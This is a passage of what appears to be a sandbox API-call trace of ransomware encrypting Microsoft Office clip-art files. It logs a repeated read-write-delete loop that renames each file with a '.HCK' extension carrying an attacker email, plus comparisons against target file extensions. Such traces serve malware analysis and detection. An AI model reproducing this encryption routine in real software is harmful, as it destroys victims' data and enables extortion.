lpOverlapped=0x0) returned 1 [0178.678] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.678] SetEndOfFile (hFile=0x370) returned 1 [0178.681] CloseHandle (hObject=0x370) returned 1 [0178.681] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.681] SetEndOfFile (hFile=0x368) returned 1 [0178.683] CloseHandle (hObject=0x368) returned 1 [0178.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf")) returned 1 [0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.686] lstrlenW (lpString=".doc") returned 4 [0178.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.686] lstrlenW (lpString=".docx") returned 5 [0178.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.686] lstrlenW (lpString=".pdf") returned 4 [0178.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.686] lstrlenW (lpString=".xls") returned 4 [0178.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.686] lstrlenW (lpString=".xlsx") returned 5 [0178.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.686] lstrlenW (lpString=".ppt") returned 4 [0178.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.686] lstrlenW (lpString=".zip") returned 4 [0178.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.686] lstrlenW (lpString=".rar") returned 4 [0178.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.686] lstrlenW (lpString=".bz2") returned 4 [0178.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.686] lstrlenW (lpString=".7z") returned 3 [0178.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.686] lstrlenW (lpString=".dbf") returned 4 [0178.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.686] lstrlenW (lpString=".1cd") returned 4 [0178.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.686] lstrlenW (lpString=".jpg") returned 4 [0178.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.686] lstrlenW (lpString=".doc") returned 4 [0178.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.687] lstrlenW (lpString=".docx") returned 5 [0178.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.687] lstrlenW (lpString=".pdf") returned 4 [0178.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.687] lstrlenW (lpString=".xls") returned 4 [0178.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.687] lstrlenW (lpString=".xlsx") returned 5 [0178.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.687] lstrlenW (lpString=".ppt") returned 4 [0178.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.687] lstrlenW (lpString=".zip") returned 4 [0178.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.687] lstrlenW (lpString=".rar") returned 4 [0178.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.687] lstrlenW (lpString=".bz2") returned 4 [0178.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.687] lstrlenW (lpString=".7z") returned 3 [0178.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.687] lstrlenW (lpString=".dbf") returned 4 [0178.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.687] lstrlenW (lpString=".1cd") returned 4 [0178.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 68 [0178.687] lstrlenW (lpString=".jpg") returned 4 [0178.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.687] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.687] lstrlenW (lpString="NA01627_.WMF") returned 12 [0178.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.689] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3296) returned 1 [0178.689] CloseHandle (hObject=0x370) returned 1 [0178.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf")) returned 0x220 [0178.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.696] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.696] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.702] GetLastError () returned 0x0 [0178.702] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xce0, lpOverlapped=0x0) returned 1 [0178.706] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0178.707] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.707] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.707] SetEndOfFile (hFile=0x300) returned 1 [0178.709] CloseHandle (hObject=0x300) returned 1 [0178.709] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.709] SetEndOfFile (hFile=0x370) returned 1 [0178.710] CloseHandle (hObject=0x370) returned 1 [0178.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf")) returned 1 [0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.712] lstrlenW (lpString=".doc") returned 4 [0178.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.712] lstrlenW (lpString=".docx") returned 5 [0178.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.712] lstrlenW (lpString=".pdf") returned 4 [0178.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.712] lstrlenW (lpString=".xls") returned 4 [0178.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.712] lstrlenW (lpString=".xlsx") returned 5 [0178.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.712] lstrlenW (lpString=".ppt") returned 4 [0178.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.712] lstrlenW (lpString=".zip") returned 4 [0178.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.712] lstrlenW (lpString=".rar") returned 4 [0178.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.712] lstrlenW (lpString=".bz2") returned 4 [0178.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.712] lstrlenW (lpString=".7z") returned 3 [0178.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.712] lstrlenW (lpString=".dbf") returned 4 [0178.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.713] lstrlenW (lpString=".1cd") returned 4 [0178.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.713] lstrlenW (lpString=".jpg") returned 4 [0178.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.713] lstrlenW (lpString=".doc") returned 4 [0178.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString=".docx") returned 5 [0178.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.713] lstrlenW (lpString=".pdf") returned 4 [0178.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString=".xls") returned 4 [0178.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.713] lstrlenW (lpString=".xlsx") returned 5 [0178.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.713] lstrlenW (lpString=".ppt") returned 4 [0178.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.713] lstrlenW (lpString=".zip") returned 4 [0178.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.713] lstrlenW (lpString=".rar") returned 4 [0178.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString=".bz2") returned 4 [0178.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString=".7z") returned 3 [0178.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.713] lstrlenW (lpString=".dbf") returned 4 [0178.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.713] lstrlenW (lpString=".1cd") returned 4 [0178.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 68 [0178.713] lstrlenW (lpString=".jpg") returned 4 [0178.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.714] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.714] lstrlenW (lpString="NA01848_.WMF") returned 12 [0178.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.717] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1120) returned 1 [0178.717] CloseHandle (hObject=0x3a4) returned 1 [0178.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf")) returned 0x220 [0178.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.725] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.726] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.727] GetLastError () returned 0x0 [0178.727] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x460, lpOverlapped=0x0) returned 1 [0178.729] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x470, lpOverlapped=0x0) returned 1 [0178.729] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.729] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.729] SetEndOfFile (hFile=0x2fc) returned 1 [0178.731] CloseHandle (hObject=0x2fc) returned 1 [0178.732] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.732] SetEndOfFile (hFile=0x300) returned 1 [0178.733] CloseHandle (hObject=0x300) returned 1 [0178.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf")) returned 1 [0178.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.736] lstrlenW (lpString=".doc") returned 4 [0178.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString=".docx") returned 5 [0178.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.736] lstrlenW (lpString=".pdf") returned 4 [0178.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString=".xls") returned 4 [0178.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.736] lstrlenW (lpString=".xlsx") returned 5 [0178.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.736] lstrlenW (lpString=".ppt") returned 4 [0178.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.736] lstrlenW (lpString=".zip") returned 4 [0178.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.736] lstrlenW (lpString=".rar") returned 4 [0178.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString=".bz2") returned 4 [0178.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString=".7z") returned 3 [0178.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.736] lstrlenW (lpString=".dbf") returned 4 [0178.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.736] lstrlenW (lpString=".1cd") returned 4 [0178.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.736] lstrlenW (lpString=".jpg") returned 4 [0178.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.736] lstrlenW (lpString=".doc") returned 4 [0178.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.736] lstrlenW (lpString=".docx") returned 5 [0178.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.737] lstrlenW (lpString=".pdf") returned 4 [0178.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.737] lstrlenW (lpString=".xls") returned 4 [0178.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.737] lstrlenW (lpString=".xlsx") returned 5 [0178.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.737] lstrlenW (lpString=".ppt") returned 4 [0178.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.737] lstrlenW (lpString=".zip") returned 4 [0178.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.737] lstrlenW (lpString=".rar") returned 4 [0178.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.737] lstrlenW (lpString=".bz2") returned 4 [0178.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.737] lstrlenW (lpString=".7z") returned 3 [0178.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.737] lstrlenW (lpString=".dbf") returned 4 [0178.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.737] lstrlenW (lpString=".1cd") returned 4 [0178.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 68 [0178.737] lstrlenW (lpString=".jpg") returned 4 [0178.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.737] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.737] lstrlenW (lpString="NA01866_.WMF") returned 12 [0178.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.739] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3512) returned 1 [0178.739] CloseHandle (hObject=0x370) returned 1 [0178.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf")) returned 0x220 [0178.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.749] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.749] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.752] GetLastError () returned 0x0 [0178.752] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xdb8, lpOverlapped=0x0) returned 1 [0178.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xdc0, lpOverlapped=0x0) returned 1 [0178.754] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.754] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.754] SetEndOfFile (hFile=0x3a4) returned 1 [0178.755] CloseHandle (hObject=0x3a4) returned 1 [0178.757] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, 